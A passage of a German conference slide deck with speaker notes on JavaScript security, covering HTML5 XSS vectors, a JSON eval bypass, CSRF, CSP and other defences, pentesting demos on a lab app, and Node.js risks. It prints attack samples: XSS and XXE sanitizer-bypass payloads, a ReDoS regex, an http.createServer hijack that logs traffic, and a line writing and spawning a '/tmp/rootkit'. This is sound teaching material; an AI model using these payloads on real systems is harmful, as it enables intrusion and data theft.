Inkl. Cookies und LoginsFacebook, GMail, Twitter, ...

93

Page 108: JavaScript und Security - JavaScript Days 2013 Berlin

CXSSHTML5

<input type=file directory>

94

Das neue Directory-Attribute im Chrome erlaubt vollen Lesezugriff auf das Verzeichnis, nachdem es ausgewählt wurde. Einfach Download anbieten, „Download to Folder“-Button machen - und schon hat man Zugriff auf das ganze Verzeichnis.

Page 109: JavaScript und Security - JavaScript Days 2013 Berlin

CXSSHTML5

Alte Bugs in neuen Variationen:<input onfocus=alert(1) autofocus>

<input onblur=alert(1) autofocus><input autofocus><form id=test onforminput=alert(1)>

<button form=test onformchange=alert(2)><button form=test onformchange=alert(2)>

<math href="javascript:alert(1)">CLICKME</math>95

Und natürlich werden alle alten Blacklistfilter durch neue Attribute und Tags ausgetrickst.

Page 110: JavaScript und Security - JavaScript Days 2013 Berlin

CXSSPhonegap

User-Content mit XSS:

WTF: XSS Prevention ist Blackberry Only

96

Page 111: JavaScript und Security - JavaScript Days 2013 Berlin

CXSSPhonegap

Capabilities über Permissions:Camera, Contacts, Files, Geolocation,

Media,...Alle Capabilities der App in XSS nutzbar

97

Page 112: JavaScript und Security - JavaScript Days 2013 Berlin

CXSSAre we done now, please?

98

Sind wir jetzt endlich mit den ganzen Security Problemen durch? Wer meint wir wären durch? Genau, jetzt kommen wir erst zu den Highlights.

Page 113: JavaScript und Security - JavaScript Days 2013 Berlin

hJSONJavaScript Object Notation

„Hey, it‘s Data and Code!“

99

JSON, die JavaScript Object Notation. Wer wendet es alles an? Warum ist das so charmant? Weil es gleichzeitig ein Datenformat ist, das aber direkt als Code angewandt werden kann - erinnert das jemanden an etwas? Man muss es also nur in ein Eval() kippen? Wer der anwesenden macht das mit JSON?

Page 114: JavaScript und Security - JavaScript Days 2013 Berlin

hJSONA JSON text can be safely passed into JavaScript's eval() function (which compiles and executes a string) if all the characters not enclosed in strings are in the set of characters that form JSON tokens. This can be quickly determined in JavaScript with two regular expressions and calls to the test and replace methods.

var my_JSON_object = !(/[^,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]/.test( text.replace(/"(\\.|[^"\\])*"/g, ''))) && eval('(' + text + ')');

http://www.ietf.org/rfc/rfc4627.txt:

100

JSON wird in der RFC 4627 definiert. Dort steht auch drin, dass man es direkt evaluieren kann. Wenn man vorher zwei Regex dagegen wirft. Dann geht das in Ordnung. Also nicht einfach nur Eval, sondern vorher evaluieren

Page 115: JavaScript und Security - JavaScript Days 2013 Berlin

hJSON// Courtesy of Eduardo `sirdarckcat` Vela Nava+{ "valueOf": self["location"], "toString": []["join"],0: "javascript:alert(1)",length: 1}

101

Und das ist der String, der trotzdem durchkommt. Von Sirdarckcat, heute Mitarbeiter von Google.

Page 116: JavaScript und Security - JavaScript Days 2013 Berlin

hJSON

Danke, Internet Explorer.102

Glücklicherweise gibt es nur einen Browser, der das als Code sieht - leider ist er immer noch an Platz 2 der Browserstatistik. Selbst die RFC konnte nicht vorhersehen, was der Browser alles als JavaScript interpretiert.

Page 117: JavaScript und Security - JavaScript Days 2013 Berlin

MTyposquatting

XSS

1. Registrier die Domain googlesyndicatio.com2. Erzeuge ein file http://pagead2.googlesyndicatio.com/pagead/ads3. 12.000 Aufrufe pro Tag4. Beefproject FTW

103

Und noch eine letzte Geschichte aus der Kategorie „Man glaubt es nicht:“Die Jungs von der Security-Firma Securitee haben im Sommer einfach mal die Domain googlesyndicatio.com reserviert - so wie die alte Google-Ads-Domain, vor vielen, vielen Jahre,nur mit einem Typo. Da haben sie dann ein Script abgelegt.

Page 118: JavaScript und Security - JavaScript Days 2013 Berlin

fCSRFCross Site

Request Forgery

„Sea Surf“„Anfragenfälschung“

104

Aber es gibt nicht nur XSS, die eine Rolle bei JavaScript-Applikationen spielen. Die zweite Klasse von Bugs, die durch die defekte Architektur von Browsern entstehen. Wenn ich mit meinem Browser auf Google Mail angemeldet bin, dann gilt diese Anmeldung auch für die anderen Tabs im Browser - sie können zwar nicht die Daten lesen, aber wenn ich aus meinem evil.com einen Request mit der Formaction Richtung Google abschicke, dann kommt die dort mit der Authentifizierung - sprich dem Cookie - meines Browsers an.

Page 119: JavaScript und Security - JavaScript Days 2013 Berlin

fCSRFCross Site

Request Forgery

Schutzmaßnahmen:Referercheck (nicht ausreichend)

Token-Authentifizierung

105

Gegen Cross Site Request Forgery schützt man sich in ganz schlecht mit einer Verlagerung von GET auf POST, in etwas weniger schlecht mit einem Referer-Check, den man mit etwas geschick umgehen kann, und korrekt mit einer Token-authentifizierung, der mit dem Formular mitgeliefert wird und nur meinem Client und dem Server bekannt ist.

Page 120: JavaScript und Security - JavaScript Days 2013 Berlin

fCSRFCross Site

Request Forgery

Jeder XSS boykottiert CSRF-Protection

106

Da kommen wir aber auch gleich zu unserem Problem - wenn meine Seite einen XSS enthält, dann kann genau dieser Token bequem ausgelesen werden - und dadurch ein falscher Request hergestellt werden, und im Browser des Clients angeschickt werden. Der XSS muss noch nicht einmal auf der Korrekten Seite sein - das Formular mit dem Token kann ich dank Same Origin Policy ja auch direkt mit xmlhttprequest auslesen.

Page 121: JavaScript und Security - JavaScript Days 2013 Berlin

ZXSS

How to fix it.107

Ok, so langsam können wir ja auch mal schauen, wie man das ganze Repariert.

Page 122: JavaScript und Security - JavaScript Days 2013 Berlin

ZXSSSchlicht nicht machen:

*.innerhtml änderneval();

JSON in eval();document.write();

108

In HTML selbst gibt es ein paar Methoden, die man nie nutzen sollte. So praktisch sie auch aussehen. Ebenfalls sollte man versuchen Libraries, die sie einsetzen, selbst einzusetzen.

Page 123: JavaScript und Security - JavaScript Days 2013 Berlin

ZXSSSchlicht nicht machen:

Inline <script>-JavascriptAuslagern

Komprimieren

109

In HTML selbst gibt es ein paar Methoden, die man nie nutzen sollte. So praktisch sie auch aussehen. Ebenfalls sollte man versuchen Libraries, die sie einsetzen, selbst einzusetzen.

Page 124: JavaScript und Security - JavaScript Days 2013 Berlin

ZXSSSchlicht nicht machen:

on-EventsExplizit binden:

$('#main').bind("click", function(e) { alert(1) });

110

In HTML selbst gibt es ein paar Methoden, die man nie nutzen sollte. So praktisch sie auch aussehen. Ebenfalls sollte man versuchen Libraries, die sie einsetzen, selbst einzusetzen.

Page 125: JavaScript und Security - JavaScript Days 2013 Berlin

ZXSSSchlicht nicht machen:

Alte Libraries (json.js, jquery) updatenAuch wenn Google sie noch hostet ...

111

In HTML selbst gibt es ein paar Methoden, die man nie nutzen sollte. So praktisch sie auch aussehen. Ebenfalls sollte man versuchen Libraries, die sie einsetzen, selbst einzusetzen.

Page 126: JavaScript und Security - JavaScript Days 2013 Berlin

ZXSSSchlicht nicht machen bei JQuery:

Niemals untrusted Input in die Sinks... JQuery(), $(), $().html, $().before(),

$().after, $().prepend, $().append

112

Bei Jquery sollte man wissen, welchen Funktionen man trauen kann und welchen nicht - also welche Sinks sind und welche nicht.All diese Funktionen sollte nicht mit User-Input gefüttert werden.

Page 127: JavaScript und Security - JavaScript Days 2013 Berlin

ZXSSSchlicht machen:

Korrekt escapen:Urls mit EncodeURI

HTML zB mit JsHtmlSanitizerWhitelists wo sie möglich sind

113

Page 128: JavaScript und Security - JavaScript Days 2013 Berlin

ZXSSContent-Security-Policy: script-src ‘self‘X-Content-Security-Policy: script-src ‘self‘X-WebKit-CSP: script-src ‘self‘

Header

114

Der erste Header ist für neue Firefox und Chrome, der zweite für alte Firefox und IE10, der dritte für Webkit. Achtung: die machen in der Konfiguration alle schlechte JS-Libraries wie etwa jquery kaputt, weil diese eben eval() brauchen - und das wird hier deaktiviert.

Page 129: JavaScript und Security - JavaScript Days 2013 Berlin

ZXSSContent-Security-Policy: default-src ‘self‘<img src=“bla“ onerror=alert(1)>

Content-Security-Policy: default-src ‘self‘ ‘unsafe-inline‘<img src=“bla“ onerror=alert(1)>

Header

115

man kann es aber gezielt, etwa für die eigenen Domain oder den JS-CDN seines vertrauens wieder aktivieren.

Page 130: JavaScript und Security - JavaScript Days 2013 Berlin

ZXSSCSP deaktivieren:

<meta http-equiv="Content-Security-Policy"content="default-src 'none'">

injecten.

Header

116

Und mit einer HTML-Injection kann ich das ganze dann doch wieder aktivieren ...

Page 131: JavaScript und Security - JavaScript Days 2013 Berlin

ZXSSX-XSS-Protection: 1; mode=blockX-FRAME-OPTIONS: DENY

Header

117

Der Internet Explorer hat sich noch mehr Features einfallen lassen, dafür wollte er ja auch zunächst nicht bei der Content-Security-Policy mitmachen. X-XSS-Protection macht ein lustiges Filtering von Eingaben und Ausgaben und adressiert vor allem Reflektive XSS. Ich kann also nicht mehr nach <script> auf google suchen, wenn das aktiv wäre.X-Frame-Options sind wiederum gut, um Clickjacking-Attacken systematisch zu stoppen, sollte man also machen, wenn man nicht partout eingebettet werden muss.

Page 132: JavaScript und Security - JavaScript Days 2013 Berlin

ZXSSDie eigene Applikation aus dem Blick des Angreifers...

Pentesting

118

Page 133: JavaScript und Security - JavaScript Days 2013 Berlin

ZXSSDemo 1:XSSme in Firefox

Pentesting

119

Url: http://192.168.8.136/mutillidae/index.php?page=add-to-your-blog.php

Page 134: JavaScript und Security - JavaScript Days 2013 Berlin

ZXSSDemo 2:Tamper Data in Firefox

Pentesting

120

Url: http://192.168.8.136/mutillidae/index.php?page=add-to-your-blog.php

Page 135: JavaScript und Security - JavaScript Days 2013 Berlin

ZXSSDemo 3:Google Skipfish

Pentesting

121

Url: http://192.168.8.136/mutillidae/index.php?page=add-to-your-blog.php./skipfish -o output_dir -S dictionaries/minimal.wl -W new_dic.wl http://192.168.8.136/mutillidae/

Page 136: JavaScript und Security - JavaScript Days 2013 Berlin

ZXSSDemo 4:BurpSuite Professional

Pentesting

122

Url: http://192.168.8.136/mutillidae/index.php?page=add-to-your-blog.php./skipfish -o output_dir -S dictionaries/minimal.wl -W new_dic.wl http://192.168.8.136/mutillidae/

Page 137: JavaScript und Security - JavaScript Days 2013 Berlin

ZXSSDemo 4:BurpSuite Professional

Pentesting

123

Url: http://192.168.8.136/mutillidae/index.php?page=add-to-your-blog.php./skipfish -o output_dir -S dictionaries/minimal.wl -W new_dic.wl http://192.168.8.136/mutillidae/

Page 138: JavaScript und Security - JavaScript Days 2013 Berlin

ZXSSHigh-End: BurpSuite mit Crawljax, einem Selenium-basiertem Crawler.

Pentesting

124

Das ist das aktuelle High-End, leider habe ich es noch nicht kompiliert bekommen :-/

Page 139: JavaScript und Security - JavaScript Days 2013 Berlin

ZNode.js

Node.js Security125

Page 140: JavaScript und Security - JavaScript Days 2013 Berlin

ZNode.jsViele Sinks:

eval(),ChildProcess.*, Cluster.*,fs.*, http.*, net.*, process.*, dgram.*

Zugriff auf Netzwerk, Filesystem, Prozesse

126

In node.js gibt es sehr viele Funktionen, die Probleme erzeugen können, wenn ihnen unvalidierter Code übergeben wird. Natürlich gibt es diese Funktionen auch in allen anderen Sprachen, aber bei JavaScript ist man sie bisher nicht gewohnt - und achtet dementsprechend weniger auf die Risiken dahinter.

Page 141: JavaScript und Security - JavaScript Days 2013 Berlin

ZNode.js

http.createServer(function (req, res) { res.writeHead(200, {'Content-Type': 'text/plain'}); res.end('Hello World\n');}).listen(1337, '127.0.0.1');console.log('Server running at http://127.0.0.1:1337/');

127

Und wir haben die klassischen JavaScript-Probleme - diesen Code kennt vermutlich jeder, mit ihm erzeuge ich einen neuen node-basierten HTTP-Server. Aber weil es JavaScript ist, kann ich mit einer Code Injection die vollständige Infrastruktur der Sprache boykottieren.

Page 142: JavaScript und Security - JavaScript Days 2013 Berlin

ZNode.jsvar http = require('http');oldfunc = http.createServer;http.createServer=function (myfunc) { console.log('Hijacking createServer'); newfunc = function (req, res) { result = myfunc(req, res); console.log('MITM Request:'); console.log(req); console.log('MITM Response:'); console.log(res); return result; } return oldfunc(newfunc);}

128

Und das ist der Code, mit dem ich Create-Server so umschreibe, dass ich ich allen Verkehr zu einer dritten Partei umleiten kann. Genauso wie ich window.alert umschreiben kann kann ich auch http.createServer umschreiben.

Page 143: JavaScript und Security - JavaScript Days 2013 Berlin

ZNode.js

Demo

129

var http = require('http');oldfunc = http.createServer;http.createServer=function (myfunc) { console.log('Hijacking createServer'); newfunc = function (req, res) { result = myfunc(req, res); console.log('MITM Request:'); console.log(req); console.log('MITM Response:'); console.log(res); return result; } return oldfunc(newfunc);}http.createServer(function (req, res) { res.writeHead(200, {'Content-Type': 'text/plain'}); res.end('Hello World\n');}).listen(1337, '127.0.0.1');console.log('Server running at http://127.0.0.1:1337/');

Page 144: JavaScript und Security - JavaScript Days 2013 Berlin

ZNode.js

npms

130

Kommen wir zu einem ganz dunklem Kapitel.

Page 145: JavaScript und Security - JavaScript Days 2013 Berlin

ZNode.jsAuthenticated only by E-Mailca 30.000 Packages, no Security-ChecksSinks: zB 1686*Spawn() 9518*eval() 3977*writeFile() Average Quality is low

131

Kommen wir zu einem ganz dunklem Kapitel. NPMs sind einer der wichtigsten Gründe für das enorme Wachstum von Node. Und genau die offene Infrastruktur, die zur schnellen und weiten Verbreitung führte, ist vom Security-Standpunkt her ein Problem. Denn auch hier gilt das Appstore-Phänomen: man vertraut der Absenderadresse, auch wenn sie eigentlich gar kein Vertrauen verdient - denn jeder von uns kann jederzeit ein Package einstellen, ohne jenseits seiner E-Mail-Adresse authentifiziert zu werden.

Page 146: JavaScript und Security - JavaScript Days 2013 Berlin

ZNode.jsSupport für typische Security-Features:- node-validator für validation & sanitizing require('validator').sanitize(mystr).xss();- express csrf middleware app.use(express.csrf());

132

Für die normalen Security-Anforderungen sind die meisten Pakete vorhanden, beide auch im express-Umfeld vorhanden.

Page 147: JavaScript und Security - JavaScript Days 2013 Berlin

ZNode.jsnode-validator Sanitizer: Blacklister, also gibt es Workarounds:

<!DOCTYPE x[<!ENTITY x SYSTEM "http://html5sec.org/test.xxe">]><y>&x;</y>

und in test.xxe: <script xmlns="http://www.w3.org/1999/xhtml">alert(1)</script>

133

Der Validator ist der Rewrite der Code-Igniter Infrastruktur und ok. Die Validator-Funktionen sind gut, und die Sanitizer-Funktionen - wie jede Blacklist - unvollständig und es existieren Workarounds.

Page 148: JavaScript und Security - JavaScript Days 2013 Berlin

ZNode.jsSQL-Injections:

nodejsdb solide, inklusive Parameter bindingAber: Whitelisting von Bezeichnern und SQL-Syntax trotzdem erforderlich

134

Auch was die Basisinfrastruktur angeht sieht es nicht so schlecht aus - das nodejsdb mysql Interface macht zB auch einen guten Eindruck. Ich muss natürlich auch nicht-bindbaren Syntax, der in die Query geht validieren - sonst sind wieder SQL-Injections oder blind SQL-Injections möglich.

Aber wie gesagt, das sind nur 3 von 30.000 Modulen, und gerade die selten genutzten Module sind nicht wirklich vertrauenswürdig.

Page 149: JavaScript und Security - JavaScript Days 2013 Berlin

ZNode.jsReDOS-Attacken: existierende reguläre Ausdrücke so füttern, dass sie beliebig viel CPU brauchen.Beispiel: var match = /^(a+)+$/.exec('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!');

Blockiert den Server > 10 Sekunden.

135

Page 150: JavaScript und Security - JavaScript Days 2013 Berlin

ZNode.jsWenn ich ein eval() im Server habe ... process.kill(process.id);

require(‘fs‘).writeFileSync(‘/tmp/rootkit‘, data, ‘base64);require(‘child_process‘).spawn(‘/tmp/rootkit‘);

136

Page 151: JavaScript und Security - JavaScript Days 2013 Berlin

ZNode.js

Node.js auch auf Port 80 nicht als Root!per sudo starten und dann ...

var uid = parseInt(process.env.SUDO_UID);if (uid) process.setuid(uid);

137

Page 152: JavaScript und Security - JavaScript Days 2013 Berlin

ZFazitBasis-Infrastruktur sichern: gute Librariesguter JavaScript-Stilmit JSLint/JSHint sichernBlacklists sind nie 100%Escaping nur nach Kontext

138

Page 153: JavaScript und Security - JavaScript Days 2013 Berlin

ZFazit

Danke!139

Page 154: JavaScript und Security - JavaScript Days 2013 Berlin

Khttps://www.owasp.org/images/9/95/JS_Libraries_Insecurity_-_Stefano_DiPaola.pdfhttp://www.contextis.com/files/Browser_Timing_Attacks.pdfhttp://www.owaspbwa.org/http://deadliestwebattacks.files.wordpress.com/2013/02/javascript-security-html5.pdfhttp://de.slideshare.net/x00mario/the-innerhtml-apocalypse

140

Page 155: JavaScript und Security - JavaScript Days 2013 Berlin

ZFazit

Bonus141

Page 156: JavaScript und Security - JavaScript Days 2013 Berlin

ZFazit

Jemand mit Mut, der seine Seite live getestet haben will?

142

Page 157: JavaScript und Security - JavaScript Days 2013 Berlin

ZFazitBonus-Rant zum tweeten:Der HTML-Parser und die DOM-API sind unreparierbar kaputt.

143


Recommended